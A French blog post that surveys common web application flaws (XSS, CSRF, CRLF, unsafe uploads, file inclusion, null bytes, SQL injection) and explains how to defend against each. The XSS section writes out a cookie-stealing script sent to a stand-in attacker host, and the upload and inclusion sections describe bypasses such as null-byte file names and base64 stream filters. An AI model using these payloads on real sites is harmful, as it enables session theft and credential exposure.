Chocoblog

Chocoblog

Billets sur l'informatique, les logiciels libres et retours d'utilisation sont au programme avec la possibilité de publier des billets de copains.

Failles de sécurité à éviter lorsque l'on crée son application web

Cet article va essayer de passer en revue les principales failles lorsqu'on développe une application web. Il est principalement orienté langages scriptés (notamment PHP) mais reprend des concepts qui sont relativement globaux aux différents langages.

Il n'a pas pour but d'être exhaustif, mais n'hésitez pas si vous voulez compléter :)

Les mots de passe

On commence doucement mais ça reste une notion quand même très importante (demandez à TV5Monde). Il est important de mettre un mot de passe contenant des lettres, chiffres ET caractères spéciaux. Surtout si vous ne limitez pas le nombre d'essais possibles pour rentrer le mot de passe, tant les scripts d'attaques par force brute sont facile à créer.

EDIT: @Augier m'a fait remarquer qu'utiliser une passephrase ne contenant que des lettres était beaucoup plus efficace qu'un mot de passe avec des caractères spéciaux. En effet, le mot de passe avec caractères spéciaux est plus difficile à retenir et donc on a tendance à utiliser le même sur tous les sites internet. De plus une passephrase pourra avoir une longueur importante tout en étant facile à mémoriser. Attention tout de même à ne pas faire une simple association de mots du dictionnaire, ce qui rendrait l'attaque par brute force plus facile.

Sécurisez votre serveur web

Le problème des scripts web de base sans gestion des routes, c'est que généralement on les couple à un serveur web qui renvoie n'importe quel fichier considéré comme statique (image, vidéo, musique...).
Maintenant prenons un exemple tout bête : vous modifiez rapidement un fichier PHP avec Gedit. Au cas ou vous ne le sauriez pas, celui-ci crée automatiquement un fichier de sauvegarde : fichier.php~. Si votre serveur web n'a pas une politique de sécurité suffisante, il renverra le fichier en plain/text à quiconque ira sur http://votresite.com/fichier.php~.

Aussi, il vaut mieux interdire à votre serveur web de lister le contenu de vos dossiers (index) afin d'éviter à n'importe qui de faire une petite visite de votre arborescence.

Dernière chose n'utilisez pas la balise d'Apache pour restreindre l'accès à vos fichier, il est possible de le contourner (si vous voulez en savoir plus : http://www.segmentationfault.fr/securite-informatique/contourner-htaccess-limit-get-post/).

Je vous conseille simplement d'étudier les différentes politiques de sécurité de votre serveur web, ça peut sauver votre site internet (et peut-être même des bébés panda).

Fichiers d'installations CMS

Si vous avez un serveur dédié/VPS et que vous analysez un peu vos logs, vous savez que des robots testent régulièrement les URL des fichiers d'installation des CMS les plus connus (Wordpress, Joomla...). Pensez donc bien à les protéger/supprimer si votre CMS ne s'en occupe pas déjà.

Les cookies

Les cookies sont du côté utilisateur et peuvent de ce fait facilement être trafiqués par ce dernier. Vérifiez donc à chaque fois les informations envoyées !

Failles XSS

Ce type de faille permet de faire exécuter un script au client. Exemple tout bête : un utilisateur poste un billet contenant <script>alert('coucou')</script>. Si vous ne sécurisez pas l'affichage, alors chaque utilisateur qui chargera la page du billet aura une popup qui s'affichera. Dans le cas un peu plus embêtant, on vous fera exécuter ce genre de code : <script>window.open("http://sitedumechant.com/Cookie="+document.cookie)</script>. L'attaquant n'aura plus qu'à regarder les logs de son serveur, et bingo pourra voler vos cookies et donc utiliser votre compte.

Pour éviter ce genre de choses, échappez les données utilisateur que vous voulez afficher avec les fonctions mises à disposition par votre langage/module (htmlspecialchars etc).

Register globals (PHP)

Cette option est à "faux" par défaut depuis quelques temps, et heureusement ! En gros ça permet de pouvoir accéder à vos variables $_GET['username'] par simplement $username. Ça économise des caractères pour le développeur, sauf que du coup n'importe qui peut injecter des variables à vos scripts PHP en modifiant l'URL. Et ça c'est suicidaire.

Cross-Site Request Forgery

Ou autrement appelée CSRF, c'est assez bête. Imaginez que vous sachiez que pour supprimer un post sur un forum un utilisateur ayant les droits appropriés (modérateur, admin...) doit aller sur l'url /forum/post/11/delete. Il suffit à un autre utilisateur de lui envoyer ce lien camouflé en lui disant "tiens regarde ce magnifique chaton" et voilà il a réussi à vous faire supprimer un post.
Les principales solutions pour éviter ce genre de piège :

  • Ajouter des messages de confirmation pour certaines actions critiques
  • Utiliser des requêtes POST
  • Vérifier que le referer de la requête provient bien de votre propre site web
  • Se déconnecter une fois que les actions nécessitant des privilèges sont terminées
  • Ne pas charger automatiquement des images d'expéditeurs non vérifiées par mail ou cliquer sur n'importe quel lien qu'on vous balance

Redirection non contrôlée

Lorsque vous faites une redirection dans votre script web, prenez bien en compte le fait que le reste du script est exécuté et donc que le client peut récupérer les informations potentiellement écrites après la ligne de redirection.
Prenons un exemple en PHP. On choisit de vérifier les valeurs envoyées par paramètre via la page admin.php puis, si elles sont incorrectes on redirige l'utilisateur avec un 302 via l'instruction header('location : ...'). Sauf que si vous ne faites pas un exit juste après, les données qui suivent (par exemple le menu d'administration de votre site) peuvent parfaitement être lues par le client.

La faille CRLF

CRLF pour CR et LF qui sont des abréviations de Carriage Return (retour à la ligne) et Line Feed (fin de ligne) que l'on peut coder en hexadécimal par %0d et %0a.
Un attaquant peut alors s'en servir pour créer des retours à la ligne ! Bon d'accord ça parait pas folichon aux premiers abords. Mais imaginez que vous recopiez les données rentrées par le client dans un fichier. Ce dernier peut alors y écrire un peu ce qu'il veut.
Il peut tout aussi bien générer des headers (et donc potentiellement du contenu) simplement via une URL. Je vous laisse regarder ici si vous voulez en savoir plus : http://www.acunetix.com/websitesecurity/crlf-injection/.

Upload de fichiers

Généralement votre serveur web est configuré pour exécuter vos fichiers avec une certaine extension (par exemple les .php).
Maintenant partons du principe que vous donnez la possibilité à l'utilisateur d'avoir un avatar. Si vous ne faites aucune vérification sur l'image uploadée et que vous ne générez pas votre propre URL alors l'attaquant peut tranquillement envoyer un fichier PHP puis aller sur l'URL du script. Le serveur l'exécutera alors automatiquement.

Comment éviter ce genre d'attaque ?

La vérification du Mime Type n'est pas suffisante car on peut facilement le trafiquer en altérant les données de la requête POST.
Il faut faire une vérification de la dernière extension directement dans le script (en faisant attention à la faille nullbyte, voir après) et ne pas faire confiance à Apache là dessus. En effet il considère qu'un fichier peut avoir des extensions inutiles (comme le .fr de index.html.fr). Et du coup peut considérer un fichier coucou.php.666 comme étant un fichier PHP, et donc l'exécuter. Une technique supplémentaire est de sécuriser le dossier d'upload (interdire toute exécution de scripts de ce dossier précis).

Local Faille Inclusion

Lorsque vous faites des inclusions qui peuvent dépendre de paramètres de l'URL par exemple, encore une fois vérifiez toujours les données (règle d'or). Ceci particulièrement lorsque vous utilisez des fonctions permettant de lire/parcourir des dossiers. Si vous ne vérifiez pas les données, n'importe qui en trafiquant les paramètres pourrait potentiellement lister n'importe lequel de vos dossiers et ensuite lire n'importe quel fichier (dont celui comprenant vos identifiants de connexion par exemple).

Si vous utilisez des sortes de include ou require, il est quand même possible à un vilain de lire vos fichiers inclus, alors même qu'ils sont censés être interprétés en PHP.
En effet, il est possible en PHP d'utiliser des filtres de stream. Imaginez donc que vous fassiez sans vérifications un include($_GET['include']). Ce paramètre étant récupéré via l'URL, si l'attaquant spécifie un autre fichier votre script va l'inclure. Vous vous dites qu'au pire ça causera simplement des erreurs (fichiers inexistant, pas un fichier PHP etc). Par contre couplé a un wrapper genre encode ça peut tout simplement sortir le contenu du fichier PHP en base64. Vous avez ensuite qu'à décoder, et félicitations vous pouvez lire le contenu du fichier PHP contenant les identifiants à la BDD. Voici un article sympa en français si vous souhaitez en apprendre un peu plus sur le sujet.

Null Byte Poisoning

Le PHP utilise des fonctions C notamment dans la gestion des fichiers. Or en C, la fin d'une chaîne de caractère est spécifiée par le caractère '\0'. Du coup certaines fonctions vont considérer ces chaînes jusqu'à la première occurrence d'un octet nul.

Reprenons notre exemple du formulaire qui ne souhaite que des fichiers aux formats jpeg/jpg, png et gif.
Pour rappel, le caractère nul est codé en hexadécimal par... %00. Si le script serveur fait une vérification sur le nom du fichier et que vous envoyez fichier.php.%00.png autant vous dire que ça a des chances de passer comme une lettre à la poste selon les fonctions que vous utilisez.

La faille est surtout exploitable via les fonctions include, require et compagnie en PHP. Faites donc bien toujours des vérifications sur les fichiers que vous voulez inclure.

Injections SQL/LDAP/XPath

Je ne vais pas rentrer dans les détails car il faudrait à mon avis un article entier pour l'expliquer. Et surtout d'autres sites proposent de très bonnes explications. En gros, cette faille se manifeste quand vous construisez et exécutez des requêtes (SQL ou LDAP par exemple) en incluant des données non vérifiées de l'utilisateur. Cela lui permet alors de bidouiller et donc réécrire la requête un peu comme il veut.
La mesure la plus simple et la plus efficace est d'utiliser des requêtes préparées. Cette dernière est ainsi compilée, puis vous injectez ensuite les données de l'utilisateur. Faites simplement attention de ne pas injecter des données à la préparation de la requête, sinon ça perd tout son sens.

Conclusion

J'ai présenté grossièrement la plupart des failles les plus connues. Libre à vous de vous documenter un peu plus ;)

Si le sujet vous intéresse je vous conseille l'excellent http://www.root-me.org/ qui propose des challenges de sécurité sur des sujets divers et variés.
Vous pouvez aussi jeter un coup d'oeil à https://www.owasp.org/index.php/Main_Page qui est une organisation à but non lucratif ayant pour but d'améliorer la sécurité des applications. Ils produisent notamment un document "Top 10" des failles les plus critiques pour les applications web. Par exemple pour 2013.